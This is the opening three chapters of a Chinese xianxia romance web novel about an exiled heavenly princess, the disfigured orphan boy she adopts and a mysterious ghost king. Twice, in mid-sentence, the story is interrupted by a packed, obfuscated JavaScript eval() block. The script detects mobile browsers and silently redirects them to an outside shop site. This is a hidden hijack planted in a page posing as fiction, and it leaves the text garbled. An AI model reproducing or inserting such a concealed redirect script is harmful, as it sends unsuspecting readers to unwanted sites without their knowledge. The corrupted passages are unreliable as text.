《第一武神和绿茶鬼王有一腿》 1. 念安出却道大凶命 重九时节，天帝率武神将军一十一名合力围剿女魔颜无双，斩其肉身，将其残魂镇于不归川。届时乌云蔽日，天地昏暗，伴有狂风四起，电闪雷鸣。无量狱鬼哭狼嚎，如同阴间炼狱。 同一时间，一声女婴的啼哭响彻上天神界。随之而来的是漫天火球砸向神宫，落入人间。 于是众武神尚未休憩片刻，便纷纷下界阻拦这场毁灭般的灾难。 “昨夜彗星袭月，今日便有殿下诞生，人间遭祸。” “不祥之兆。” “大凶。” “那女魔头刚死，这殿下便出世了，不会是......” 洛念安，天帝洛君逸之女，天界公主殿下，号珈洛，传闻大凶之命。 百年后，洛念安受人蛊惑，擅闯禁地，触犯天规被贬下界。 —— 洛念安走出衙门。 今日是她被贬下来的第三日。她浑浑噩噩漫无目的地游荡了三日，从城外飘荡进城内，一路上渴了喝河水，今日实在饿得受不了拿人家馒头铺的馒头吃，店主问她要钱，她没有，于是和那店主打了起来，被人报官送进了衙门。 正发着愣，洛念安被前面吵吵嚷嚷的人群拉回思绪。 “扔啊？怎么不扔啊？” “别扔啊，让他自己跳下来！” “哈哈哈哈哈哈。” 听着人群的起哄声，洛念安朝上面看去。那是一座三层楼高的小楼，小楼建的富丽堂皇，在楼顶上站着一个胖子，肥头大耳目露凶相，他手上提着一个小孩子的衣领，将人提了起来，看样子是对他骂骂嘞嘞了几句，那小孩猛地抱住他的脖子上去就咬了一口。胖子看起来勃然大怒，面目可憎地把人往栏杆外面推。 见到那小孩大半个身子都探出了栏杆，底下人起哄的声音更大了。 “哦——要掉咯！” “大家待会都离远一点啊不要被血溅了一身。” “可是这样不太好吧，那可是人命啊。” “什么不太好，一个小乞丐而已，这叫为民除害。”那人话音刚落，一个小石头在空中滑出了一条优美的弧线，准确无误地砸在了他的后脑勺：“诶呦！谁？！谁打我？！” 洛念安没看他，一边往前靠，一边关注着楼上的情况。 随着起哄声达到顶峰，那小孩忽然挣脱了胖子的束缚，从高处一跃而下。 人群都怕沾染晦气，由此纷纷四下散开。只有洛念安逆流而上，轻轻一跃，便将那小孩子接入怀中，然后平稳落地。 “我没想推他下去啊，是他自己要往下跳的，这可怪不得我。” 洛念安朝上瞪了他一眼，强压住上去打爆他狗头的冲动，垂头看向怀里的小孩。那小孩穿着破烂，浑身血污，脸上缠着一圈又一圈的绷带正往外渗血，只露出一双干净澄澈的大眼睛，定定地看着洛念安。 “你怎么样？” 那小孩没有回答，只是一只手紧紧地攥着洛念安的衣襟，看着她出神。 中秋佳节，洛念安在人界捡了一个小孩，小孩说他父母双亡，无名无姓，无家可归。洛念安便冠她之姓，取名太初。 意为“太初者，万物之始也”。 她道：“你我在这团圆日相遇，实在有缘。” 他们在名为白玉兰的村子落脚，洛念安实在没想到，洛太初小小年纪不仅能修得厅堂，还能下得厨房。炒出来的菜特别好吃，尤其是那道辣椒炒肉。他们偶尔一起出去采采野菜，抓抓鱼，如此过了六七天，日子平淡且舒适。让她觉得在人界的生活似乎也没那么糟糕。 洛念安本以为他们会一直这么过下去。 这天，他们从山里采完野菜回来，商量着晚上怎么做。随着天色渐暗，洛太初也踩上小椅子在灶台前开始掌勺，然后小炒野菜和草鱼汤被洛念安端上了桌。他们坐在桌子两边，准备动筷。将将暗下去的天色却猛地变黑，四下狂风骤起。洛太初跑去关上门窗，道：“姐姐，今夜可能有风雨。” “是啊，”洛念安不以为意，只是道：“还好我们前日把屋顶修好了。” “对啊。”洛太初边附和边回来准备继续吃饭，外面的风声却更大了，天色似乎也比刚刚还要黑。 洛念安夹菜的手忽的颤抖了一下，抖掉了夹上的菜。她微微皱眉，扭头看向窗外，无边的黑色让她有些心神不宁。 “怎么了姐姐？”洛太初察觉到她的异样，出声问道。 洛念安只是摇头，安抚他道：“无碍，只是没见过如此大的风。”接着她站起身，又道：“我出去看看，你待在屋里别动。” 经过这几日的相处，洛太初已差不多摸清洛念安的性子，于是乖巧道：“好，姐姐小心。” 洛念安出门了，又反手关上门。洛太初见她一出去就跑到窗边悄悄抬起窗户看她。 洛念安发丝在狂风中乱舞，她抬头看去，只有深不见底的黑暗，今晚的星星和月亮都躲了起来。震耳的风声中，洛念安捕捉到了一些不易察觉的声音，她屏息凝神往不对劲处看去，却见不远处的山头忽然蹿起浓郁的黑烟，那声音就是从黑烟里发出的，那黑烟往天上蹿去，又猛地砸向地面来，飞速靠近，声音也越来越清晰，竟是刺耳的鬼哭狼嚎声。 洛念安看着黑烟袭来的方向，暗道不好，迅速朝屋里跑去，然而黑烟的速度更快，暴力地掀翻屋顶，直直朝洛太初袭去。洛念安猛地一扑，将呆在原地的洛太初死死护在身下，胳膊随之传来剧痛。 想象中的黑暗没有将她包裹，却亮起一道光。霎时间，风停云散，万物归于寂静。 注意到身边有人，洛念安抬头看去，微微一愣。 是那个女道士。 前几日她带着洛太初进城时，路上遇到一位黑白衣服的女道士，擦肩而过时，那女道士身上的荷包掉在地上。洛念安弯腰捡起，转身喊住了她：“道长，你的东西掉了。” 那女道士停下，转身，望向她，微微一笑，又望向她怀里的孩子，顿了顿，才走上前来接过荷包：“多谢。” 洛念安转身欲走，却听见女道长喊住了她：“这位姑娘，你似乎遇到了一些困难。” “？”洛念安停下来看她，这女道士看起来很年轻，臂弯处挂着柄拂尘。 女道士笑得和善，又将手里的荷包递出：“缘来则聚。想必这物什与你有缘，便赠与你吧。” 她再次递来时，那荷包开了个口，洛念安刚想拒绝，就听见耳边响起一道童声：“好多钱。” 这时她尚不知何为“钱”，听他这么一说，洛念安倒是往里瞥了一眼，是一堆白花花的银子，只一眼她又看向女道士，道：“无功不受禄。” 女道士闻言轻轻笑了笑，点头道：“也罢。那姑娘，我们有缘再会。” 回过神，那女道士正微笑着朝洛念安递出一只手，语气平和，带着些温柔：“姑娘，又见面了。” 洛念安动作比脑子快，还没反应过来，手已经递出去了。被人扶着起身，她又赶紧去看洛太初，不过这孩子看样子是被吓傻了。 女道士见一大一小还懵懵然搞不清楚状况，于是道：“是一些山鬼精怪罢了，这些年都没有出来害过人。”她说着，视线落在洛太初身上。 洛太初被她盯着，身体似乎僵直了一瞬，默然无语。 “这位小友，”他不说话，女道士继续开口问道：“能否告知我你的生辰八字？” 洛念安看看女道士，又看看洛太初，似乎猜到了她的意图。 洛太初低声报出了自己的生辰八字，就见到女道士在一旁掐指算了起来。只是她越算表情越严肃，眉头也蹙的越深，末了，突然拉着洛念安后退好几步。 洛念安被她拉着，身形有些不稳，被迫跟着后退。接着就听见女道士的声音在她耳边响起：“大凶之命！此子命格凶险，与他亲近之人都不会有好下场！” 洛念安还没反应过来，就听见洛太初歇斯底里地喊道：“你胡说！”看他的样子，是想要冲上前来跟这女道士干一架，目光落在她身边的洛念安身上，却堪堪停在那里，没有上前。 “你父母亡于大火之中，而那场火灾里只有年幼的你活了下来。”她一字一句，字字诛心：“后来，你被一老妇所收养，那老妇七日后却惨遭横祸，横死街头。若我没有猜错，你与这姑娘相遇到今日，也是七日吧？” 洛太初立在那里，洛念安眼看着他眼里的情绪由愤怒转为迷茫，于心不忍，出声道：“胡言乱语。” 身旁的女道士微微一愣，就连洛太初也愣住了，呆呆地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345164|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛念安。 洛念安走上前去，不由分说地抱起洛太初，感受到怀里的人僵在那里，对女道士道：“这位道长如此会算，不如也帮我算算我是何命？” 女道士却是微微一笑，道：“姑娘的命格，岂是我这等凡人能算的？” 这话倒是让洛念安多看了她两眼，心道这女道士有点本事。沉默片刻，她出声道：“今日多谢道长出手相助，若有机会来日定当报答。只是今日我这屋子也被摧残的破败不堪，就不多留道长了。” 女道士倒也干脆，留下一句“有缘再会”便转身离去。只留下一座只有四壁的破屋，屋里心情复杂的洛念安和她怀里一言不发的洛太初。 洛太初是真的一言不发，一晚上，无论洛念安和他说什么，他都不出声，直到洛念安哄着他睡下，自己才收拾了满地狼籍，身心俱疲地躺在床上，看着星空顶，怅然地进入梦乡。 这一觉她睡得极沉，沉到洛太初什么时候走的都不知道。 村长听说他们昨晚的遭遇带人自发来帮忙修缮屋顶时，洛念安根本无暇顾及，漫山遍野地找，闻讯来帮忙的村民也跟着找，找不到。 洛念安又去了城里，走街串巷，一连几日，都杳无音信。 天地之大，找一个人如同大海捞针。 洛念安渐渐的有些心灰意冷，后来只盼着他还活着。至于过的好不好……不重要，活着才是最重要的。洛太初不在，日子突然变得索然无味起来。洛念安心情低迷地吃了几天水煮白菜，直到九月初九生辰这日，才想着去城里吃顿好的，改善一下伙食。 吃完饭出来，洛念安正往回走着，旁边突然窜出来一道瘦小的身影，一溜烟就跑不见了。她正疑惑着，肩膀猛地被人一撞，歪向一边，好不容易才稳住身形。 “站住！” “奶奶的，小兔崽子！” “今天可不能让他跑了！” 这群人来势汹汹，看起来就像是准备欺负弱小，撞了人还不道歉，洛念安今日心情好，当即决定好好教教他们做人。她边揉着肩膀边追了上去，拐了七道弯抹了八个角，他们才终于停了下来。他们是停下了，但被追的那个好像已经被另一伙人抓住了。 “哈哈哈哈，小东西，我让你跑！” “小东西”正在被前面那群乞丐当皮球一样踢过来踹过去，前面那几人看样子也是要加入。洛念安飞起就是一脚踹上那人的后腰窝，潇洒落地，道：“下次撞到人记得道歉。” 这边的动静惊动了那边的人群，他们停下来纷纷往这边看。见是一个女人，还是个漂亮非常的女人，个个面上由不善转为猥琐，也不管那“小东西”了，纷纷摩拳擦掌地往过挪。 这群人看着年纪都不大，和洛念安相仿的样子，当然他们不可能有近百岁，不过少年的模样，前提是忽略掉他们面上那猥琐的话。 一群手无寸铁的凡人罢了，洛念安还没放在眼里。她往“小东西”那里看去，他正被白色绷带五花大绑着蜷缩在地上，即便鼻青脸肿，却依旧能看清脸颊上烧伤留下来的疤痕，视线继续往下看去，洛念安猛的顿住，这件黑底白边绣着金丝花纹的衣服……是她当了自己的金指环给他买的！ “……洛太初？！” “小东西”听见这声，猛地睁开眼睛看向洛念安。 那双眼睛不是洛太初还能是谁？ “……”洛念安的心里先是涌出再相逢的惊喜，渐渐被滔天怒意掩盖。她随手抄起一根棍子就往扑上来的乞丐身上伦，一棒子一个，两棒子一双，棍子断了就徒手，拳掌疾如闪电，挥出去呼呼作响。不一会儿就结束战斗，看得洛太初目瞪口呆。 洛念安从一片倒在地上鬼哭狼嚎的人群里走来，沉默地给洛太初松了绑，他一得到自由，立马低垂着头，抬手捂住了自己的脸。 “没关系的，”她的声音温柔似轻风，徐徐吹来：“一点都不难看。” 洛太初却固执地摇头：“他们都说我是丑八怪。” 洛念安轻轻握住他的手，道：“他们是他们，我是我，你是相信他们，还是相信我呢？” “……”洛太初沉默片刻，坚定道：“信你。” 洛念安扬唇笑了笑，站起身，朝他伸出一只手，道：“洛太初，我们回家吧。” 2. 九月初九梦遇梦魇 入夜，洛念安见着洛太初睡着，才安心地躺上床，正要入梦。 “你好啊～珈洛～” 一道女声在脑海中炸起，洛念安猛地睁开眼，发现自己还是在屋里，只是这声音……她翻身下床，奔到门口打开门，赫然看见一个戴着苍白笑面具身着黑白道袍的人立在月光之中，两只手藏在大广袖里，端在身前，看不见脸，只有那张面具笑眯眯地对着自己。 “是你？！” 她第一次出现的时候，洛念安就被贬下神界，落入人间。 “真好啊，珈洛，”笑面人歪歪头：“你还记得我。” 洛念安怒意直冲脑门，咬紧后槽牙，道：“你放心，我就算死了，也不会忘记你。” 笑面人呵呵的笑出了声，语气温柔：“你也放心，你不会死～” 洛念安“嘭”的关上房门，颇有气势地立在笑面人的对面：“这次你又想耍什么把戏？” 笑面人往前飘了两步，依旧是歪着头，嘻嘻道：“珈洛，你不要这样生气。我又不会害你。” 这东西阴阳怪气一把好手，激得洛念安鸡皮疙瘩抖了一地。她皱眉，厉声道：“这话鬼信吗？上次骗我去不归川，害得我触犯天规，被贬下界，这就是你说的不会害我？！” 笑面人轻笑出声，围着洛念安飘了一圈，又停在她面前：“珈洛，我没有害你，只是帮助你离开那个腐朽糜烂的地方罢了。” “你！”洛念安想反驳，却发现不知道该如何说，说些什么。 笑面人哈哈笑出了声，那声音阴森可怖：“承认吧，珈洛。没人比你更清楚，自你出生时起，遭受了多少非议，所有人，包括你的父亲、母亲，都对你避之不及。你真以为他们是让你下来历练的吗？不是的，他们就是不要你了，你永远都不会回去了。” “……”洛念安双拳紧握，越听到后面越忍无可忍，一拳砸向那笑面人，却堪堪砸穿她的身体，一点回力都没有，如同砸在一团棉花上，她依旧是笑眯眯地对着她，温声道：“珈洛，你不要这样生气。” 洛念安有些错愕，不可置信地睁大眼睛，质问道：“你到底是什么人？！” “自然是助你之人。” “你胡说！” 任由洛念安在那里歇斯底里，笑面人自一派泰然自若，仍是温声道：“珈洛，你不要这样生气。” “闭嘴！”洛念安不顾一切地又是一拳砸过去：“我让你闭嘴！我让你闭嘴！” “姐姐？！” 洛念安猛地睁眼，一下子从床上坐起来，满头大汗，惊魂未定，错愕地看着身边的洛太初。 “姐姐，你做噩梦了。”洛太初伸手安抚性地拍着洛念安的后背，想让她放松一些。 梦？刚刚是梦？ 洛念安掀开被子下床，快步奔到门口，开门，可是院子里只有被月光笼罩着的泛着银光的那颗白玉兰树。她失魂落魄地立在院中，秋风萧瑟，吹得她脊背都没有往日那般挺拔。 洛太初跟在她身后，轻声安抚她道：“姐姐，别怕，梦都是假的。” 洛念安抬头看向天上的明月，颇有些疲惫地道：“嗯，我没事的。” 她没有再说话，只盯着月亮发呆。洛太初也没再说话，安静地陪在洛念安身边。 一大一小的影子在地上由长变短，又由短变长。洛念安忽然开口道：“其实我一直没有告诉你，自我出生起，旁人也一直说我是大凶之命。” “……”洛太初往她身边靠近两步，抬手牵着她的手，道：“他们胡说。” 洛念安弯了一下唇角，又落下，道：“我也不信。我命由我，不问凶吉。我的命数如何，为何要从旁人口中得知？” “对！” “所以你不用担心，常言道物极必反，你我凶命遇凶命，定是大吉。” 洛太初才反应过来洛念安是在安抚他，他抬头定定地看着她，在月光的映衬下，洛念安周身都散着银光，宛若天仙，不似凡人。 沉吟片刻，洛念安又道：“我一直有个疑问，我遇到你那日，是那人推的你，还是？” 洛太初回答的干脆，语气平平：“我自己跳的。” 洛念安才低头看他，眼里带着不可置信，道：“为何？你知道摔下来会是何种后果吗？” “我知道。”洛太初面上的绷带褪去，洛念安才能看清他的神情，然而此刻他面上并无波澜，无畏道：“会死。”顿了顿，他继续道：“姐姐，其实我一直都不明白，人为何要活着？那时我找不到活下去的意义，我觉得活着太累了，所以我不想活了。” 这个问题洛念安没法回答，她尚未找到自己活着的意义，又如何去指点别人。相顾无言，良久，洛念安默默叹了一声，道：“你，就当是为了陪我吧，不然，我会很孤单。” “嗯！”洛太初望着她，眼里泛着光，无比坚定道：“我会好好活着陪姐姐的，我也会保护好姐姐。”说着他忽然低下头，声音也小了：“但是现在都是姐姐保护我……” 忽然一阵微风吹过，吹落院中树上的玉兰花，飘飘扬扬，洛念安伸手接住，顺手递给洛太初，笑道：“因为我现在比你高，所以是我保护你。等你长到比我高的时候，就换你保护我，好吗？” “……”洛太初垂眸看着手里的白玉兰花，小心翼翼地握着，又抬眼看向洛念安，点头道：“好！” 落花纷飞，陨石降落。上天神界地动山摇，火光冲天。 “走水啦！走水啦！快救火啊！” “怎么回事？怎么又有陨石砸下来？天破了？！” “好像是……有人飞升了？” “谁啊？” “……好像是……珈洛公主？！” “恭喜飞升，公主殿下。”锦和从玉桥那头，缓缓走到洛念安面前，面上带着和善的笑，手里拿着一卷卷轴。 “谢谢。”洛念安眉眼弯弯，视线落在锦和手里的卷轴上。 锦和便举起卷轴一边，另一边滚落到地上，快速展开一直滚到洛念安脚边，他开口道：“这是给公主殿下的。” 洛念安弯腰看了看，上面记了一大堆数字，最后一行老长一串，对锦和笑问道：“请问这是什么？” “账单。” “账单？”洛念安继续笑。 “准确的说是欠条。”锦和也笑。 “……”洛念安有点笑不出来了，问道：“劳驾，我这刚到天界，为何欠下如此巨债？” 锦和转身，对着洛念安比了个请的手势，然后先带头往前走，边走边道：“殿下看见天上的火石了吗？” 洛念安顺着指引看去，点头道：“看见了。” “那是你飞升雷劫来时便开始落下的。”锦和道：“倒与殿下出生时的光景相似，不过这次倒没有火石落入人间，但是砸了许多天神的仙府。” 洛念安擦了擦额头上不存在的虚汗，心里万分愧疚，道：“抱歉。” 锦和继续道：“殿下看见那边的钟塔了吗？” 洛念安望过去，摇头道：“没有啊。” “那就对了，”锦和道：“原本是有的，天界上上下下震了一天，塌了。” 洛念安深感谦意，无奈笑道：“实在抱歉。” “殿下不必道歉，”锦和道：“只需补齐欠款就可以，不多，只需88万功德。” 洛念安还是笑：“也许对你们来说不算多，但是我没钱，一分也没有。” 锦和淡定道：“我知道，所以这笔账会算在帝君那里。” 洛念安脚步一顿，又对着锦和的背影微微一笑，道：“谢谢，不过不用了。” 闻言，锦和倒是停了下来，他侧过身子，回头望向洛念安，沉吟片刻，道：“帝君现下不在天界，多半天黑前回来。帝后倒在，殿下不去见帝后吗？” 听了这话，洛念安才反应过来锦和正带着她往帝后念清漓的宫中去。上次走这条路还是五百年前，时间太久了，久到她忘了许多事，比如那里的钟塔，再比如去母后宫里的路。于是她停了下来，微笑道：“不了，锦和真君去忙自己的事情吧，我得去想办法赚钱了。” 锦和站在那没动，只望着她。 洛念安笑着补充道：“若帝君帝后怪罪下来，真君直说是我不愿去就好。” 说罢，她转身欲走，却被锦和喊住：“殿下，今日中秋，今夜的中秋宴，殿下还来吗？” 洛念安试探道：“可以不来吗？” “殿下若实在不想来，可以不来。” “那太好了，”洛念安笑了笑：“我实在是不太想去。” 锦和点头：“我会向帝君说明。” “那多谢你了。”洛念安感激道。 “殿下不必客气。若殿下要下界，我建议今夜不要到处乱跑。因为今夜很大概率会碰见太阴仙。” “太阴仙？”听了这个名号，洛念安倒是来了兴致，也不是说名号有多别致， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345165|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是在人间流浪的时候，她也曾听过这个。 她已经不记得那时是在人间流浪的第多少年，岁月太长，干脆就不记得到底多长。只是有一日她走在路上，忽瞥见旁边的神庙上的牌匾写着“太阴仙庙”。这已经不是她第一次看见“太阴仙庙”了，好像她从南走到北，从东走到西，各地都有这样一座“太阴仙庙”，眼前这座更大些，看着更气派些。 洛念安不知道上天神为何会起这样一个名号，在天界上，有风雨雷地四位神官，十二位武神，八位文神，总计二十四位上神官。名号多半都带着灵、真、阳之类的字眼，那些上神官自诩与太阳并肩，还真没听说过有谁自己起号“太阴”的，倒是去和月亮比肩了。而且各个上神官势力范围大都占据一方，但这位太阴仙却是从南到北由西到东，香火旺盛，信徒众多。这是除了她父亲君逸大帝外绝无仅有的。 于是洛念安在门口拉了个人打听。 那人道：“你不知道吗？遇到一些牛鬼蛇神的事儿，拜太阴仙比拜其他的神仙管事儿多啦。” 还是个武神？真有武神号太阴？这么多年天界变化这么大吗？ 洛念安心有疑问，这么多年在人间她出于一种怪异的心理，从不进神庙，此时却突然很想进去看看。看看这太阴仙到底是何方神圣，有这么大的本事在四方各地吸引如此多信徒。于是，她抬腿迈了进去。 来往信徒络绎不绝，洛念安步入大殿，抬眼注视着这座神像，神像塑的精致至极，看那眉眼却无端透着几分邪气，而且这是一副坐像，坐姿颇有些嚣张霸气，仿佛坐在高处，睥睨众生。奇了，估计没有其他哪个上神官在神庙用坐像。还是说，现在的上天界流行这样？ 洛念安盯着神像看了一会儿，又盯着虔诚许愿的信徒们看了一会儿。她想来都来了，总得许些什么愿望，看看这太阴仙到底灵不灵。 半刻钟后，她发现自己实在是没什么可许的愿望。没有想得到的，也没有怕失去的。无谓生，也不惧死。于是她只对着神像轻声道：“算了，看你信徒如此之多，想必是日理万机，我就不给你添麻烦了。” 洛念安说完这句话就转身离开了，出了神庙，继续开始自己的流浪之旅。只是在几日后听到有人提起：“听说了吗？前几日上谷城里的太阴庙里太阴仙显灵啦！” 上谷城？ 洛念安微微顿足，那不就是她之前进去的那座太阴仙庙吗？ 后来，她也时常听别人提起过太阴仙，却再也没进过太阴庙。 “太阴仙是人间的叫法，”锦和的声音拉回了洛念安的思绪，他道：“不过在天界，我们多称他为太阴鬼王。” “太阴鬼王？”洛念安又想起了那座透着几分邪气的塑像，这么一说，她便想通了许多事。 锦和解释道：“太阴鬼王出自无量狱，他一出世，几年时间便一统鬼界。平日里基本碰不上他，只有在月圆之夜才会频频出现，顾他在人间的信徒为他起名号‘太阴’。原也并没有为难天界，甚至赶在天界前救了一些凡人，杀了几只妖兽。不过，有三位天神除外，他们每每出任务，都能碰到太阴鬼王给他们使绊子，任务无法完成，故而三位的信徒慢慢减少。直到有一次，他们三位忍无可忍，对太阴鬼王下了战书，生死不论。” “……他们输了？” 锦和笑了笑：“看来殿下对上天界我武神官的实力很不看好。” 洛念安微微一笑，没做声。不知道为什么，她直觉那位太阴仙会赢。 “他们是输了。” “……死了？” 锦和点头。 洛念安噤声。 “不过不是被太阴仙所杀。” 洛念安莫名其妙地松了一口气。 “三位是说生死不论，只是太阴仙要求在三位所有信徒的梦里比试，结果三位惨败。” 一般为了保全各位武神官的面子，比试失败了大家会说“惜败”，但锦和这次却直接说“惨败”，可见当时败得有多惨了。 “太阴仙到没有下杀手，只是后来三位神官的信徒纷纷改拜太阴仙，那三位也都没有撑过下一次天劫。”锦和讲完故事，继续道：“不过他本人似乎不太喜欢‘仙’这个字，准确地说他不太喜欢上天界的每一位神。此人亦正亦邪，琢磨不透，所以，若殿下日后碰到他，能避则避吧。” 洛念安对他微微一笑，道：“好的，多谢真君。” 锦和颔首，二人便分道扬镳了。 3. 花如雪飞花似少年 洛念安也没多在天界停留，虽不知道要去哪里，总之不太想要留在天界，于是随便找了个地方跳了下去。洛念安落在荒郊野岭，前不着村后不着店，她便迈步随意往前走，走着走着，天色也渐渐暗了下来，她继续走，走，走，停。洛念安往身侧看去，躲在暗处的东西瞬间没了起来，不过她还是瞥见了那一双又一双发着光的眼睛。 洛念安正纳闷自己何时多了吸引小动物的特质，便见着一只雪白的小兔子一蹦一跳地朝她来，停在脚边。洛念安便弯腰将其抱了起来，对它笑着道：“你好啊小兔子，我现在正好肚子饿了呢。” 怀里的小兔子似乎瑟缩了一下，但到底没有反抗。 当然洛念安只是说说而已，她已经看见不远处亮着灯光，寻思着应该有人家，想去看看能不能蹭蹭饭吃。于是便抱着兔子继续往前走，却总也无法忽视躲在暗处的小东西们。 洛念安心道：“奇怪，这些动物是在监视我吗？” 她只觉得怪，但始终没有感受到危险，就也没管。一路向前，在山脚下的小村庄便也映入眼帘。今日是万家团聚的好日子，家家户户都亮着橘黄的光，星星点点，静谧且温暖。她步入村庄，又改了主意，心想人家一家团圆，她一个外人前去多有叨扰，便也省了去蹭饭的心思。她一个人安静的走着，贪婪地悄悄地感受着不属于她的幸福。 这氛围却忽然被一声惊叫打破。有人惊叫着：“蛇妖！蛇妖来了！”然后家家户户都奔了出来，不管三七二十一地往村口跑，也就是洛念安来时的方向。 洛念安立马放下怀里的兔子，逆着人流而上。有路过的村民让她快跑，洛念安大声道：“大家不要惊慌！我能除妖！我能除妖！！” “你一个女子怎么可能除妖？！” “……”洛念安噤声，但脚步不停。听那人的话，这里应该经常遭遇蛇妖侵袭，他一出声，大家也不问缘由，立马跟着跑，可见已经不是一次两次了。 很快她就看见了村民口中的蛇妖，是一条巨大无比的巨蟒，正一圈一圈缠着被困住的妇女，女人怀里还抱着一个孩子，她们瘫坐在地上，已经被吓到发不出声音了。飞升的太过仓促，洛念安没来得及带上兵器，只能顺手撇了一根树枝，纵身一跃，在蛇妖正张大嘴巴要吃掉自己的“猎物”时，手上的树枝一扔，正正卡住那张大嘴，紧接着飞身一脚：“我去你的。”踹得它往一边倒去，发出尖锐的爆鸣。 洛念安踩着蛇尾，拉住那对母女，一用力，带出包围圈，对她们道：“快跑。”接着徒手去劈那颗硕大的蛇头。只是面对这样的庞然大物，洛念安手无寸铁，一时也找不到突破点，一神一妖打的不可开交，正水深火热，那蛇妖却突然调转方向，飞速往深山里跑去。洛念安立马追上，那蛇速度飞快，追着追着就不见踪影。洛念安被迫停下，戒备着环视四周。此时的圆月已经升至中空，高高的挂在天上，给这片阴森的山林笼罩了一层清冷的光晕。 洛念安正警戒着，空中却忽然有什么东西飘下，她警惕地抬头望去，却猛地一怔。 漫天雪白纷纷而下。 下雪了？她伸手去接，却只接住一片纯白的花瓣，她捻着花瓣凑近一看，喃喃自语道：“这是……白玉兰花？”她更疑惑了，这周围明明没有白玉兰树啊。 圆月，落花。 尘封的记忆忽的被打开，洛念安仿佛一下子被拉回到五百年前那个夜晚，那个小孩子在月光下，在落花中，坚定地说等他长大会保护她。 可惜，她没等到他长大。 只是这花瓣到底是从哪里吹来的？ 洛念安怔愣着，忽地听到身后有树枝沙沙的声音，她转身，却见着一个黑影从树上摔下来，“嘭”地一声跌在地上。她微微蹙着眉，犹疑着，慢慢靠了过去，出声道：“谁？” 随着她渐渐靠近，借着月光，那人的身形越发清晰，是一位少年，身着黑底金丝锦袍，长发如瀑，打着卷儿，随意扎了个半马尾在脑后，此时他正一手撑着地，垫着雪白的花瓣地毯，半躺在地上。他透过纷纷扬扬的落花看来，肤白似花，那五官更如花般美艳。这少年应不是中原人，那五官看着也不是正统的异域人，倒像是个混血，混的十分完美。 “这位姐姐，刚刚有条大蛇路过，好吓人。” 少年开口声音清朗，隐隐透着三分可怜，像是被蛇咬吓得躲在树上，现在又摔下来了。 洛念安警惕卸了几分，问道：“你看到它往那边去了？” 少年往前一指，道：“去前面了，我也不太确定，它特别大，我害怕，不敢多看。” 洛念安看他随意地吹落肩上的花瓣，怎么看着都不像是很害怕的人。不过此人身上无妖鬼之气，想来也不像是那大蛇所化。 “姐姐，你可以来拉我一把吗？我好像起不来了。” 那人一脸单纯无害，洛念安虽心中有疑，却还是上前，朝他伸出手。 这动作却让少年怔愣住，盯着那只手未动。片刻后，他轻轻握着洛念安的手腕，站起身。这人看起来年纪小，却比洛念安高了整整一头，他随手掸了掸身上的灰尘，垂眸望着她，问道：“姐姐是来捉那条大蛇的吗？” 洛念安点头，往四周扫了一眼，还在警惕着。却听见那少年轻轻一笑，道：“姐姐好厉害，竟然敢只身来抓大蛇。” 洛念安回过神，花瓣雨不知何时停下了。她看向少年，微笑道：“没有，只是路过遇到了，恰好学了点本事，总不能见死不救。”她说着，又问：“你呢？团圆日为何一个人在这里？” 那少年抱臂立在那，歪歪头，笑着道：“无处可去，随意走走，便走到这里来了。” “不回家吗？”洛念安心系大蛇，随口问着。 “我没有家。我的父母都死了。” “……”洛念安回过头看他，道：“抱歉。” 那少年听了洛念安的话，却是抿紧了唇，半晌，他道：“姐姐无需道歉。” 洛念安敏锐地察觉到了他好像不太开心，心想着可能是自己提到了人家的伤心事，心里愧疚，便道：“这里不太安全，我们先出山林吧。” “好。”那少年笑了笑，跟上洛念安的步子，与她肩并肩往山林外走去。 二人踏着月光，走着走着，洛念安眼前忽然出现了一只修长而又苍白的手，手心落着一块油纸包着的月饼。她微微一愣，顺着看向身旁的少年。那少年笑吟吟地看着她：“姐姐，你我在这团圆日相遇，实在有缘。这块月饼送给姐姐，祝姐姐中秋安乐。” 洛念安心头一颤，这话有一股莫名的熟悉，却总也想不起来在哪里听过。她弯唇笑着，伸手接下那块对她来说异常珍贵的月饼，道：“谢谢。” 身旁的人却没说话。 洛念安看向他，问道：“你吃了吗？” “什么？”少年下意识反问道。 洛念安扬了扬手里的东西：“月饼。” 少年没吱声。洛念安心下了然，把月饼一分为二，递给他一半：“那一起吃吧，也祝你中秋安乐。” 少年伸手接过，垂眸盯着手里的月饼看了半晌，侧目瞥见一旁的洛念安正吃得开心，微微勾唇，才将手里的月饼送入口中。 “好吃。”洛念安笑眯眯地，由衷地觉得开心，随口道：“我已经很多年没有在中秋节吃到月饼了。” “……”少年停下手里的动作，深深地望着她，忽然道：“是我不好。” “嗯？”洛念安疑惑看他。 少年却是笑了笑：“应该多带一个。” 洛念安也笑，轻声道：“美好的东西只是遇到便已是幸运之至了。”说着，她看向少年，道：“对了，这位小友，还没问你如何称呼呢。” 少年道：“我姓易，单名一个桉字。姐姐可以唤我‘小桉’。” “‘安’？哪个‘安’呢？” “木安桉。” “易桉。”洛念安喃喃重复了一句，轻笑道：“好名字。”又自报家门：“我姓洛，名念安。安乐的‘安’。” 易桉笑道：“姐姐才是好名字。” 洛念安微微笑着，想着，从手腕上退下来一串朱砂手串，摊在手心里，递到易桉面前，轻声道：“实在不好意思，出门在外我也没带什么东西在身上。初次见面，这个送给你，谢谢你的月饼。” 易桉垂眸看了一眼那串手串：“朱砂？” 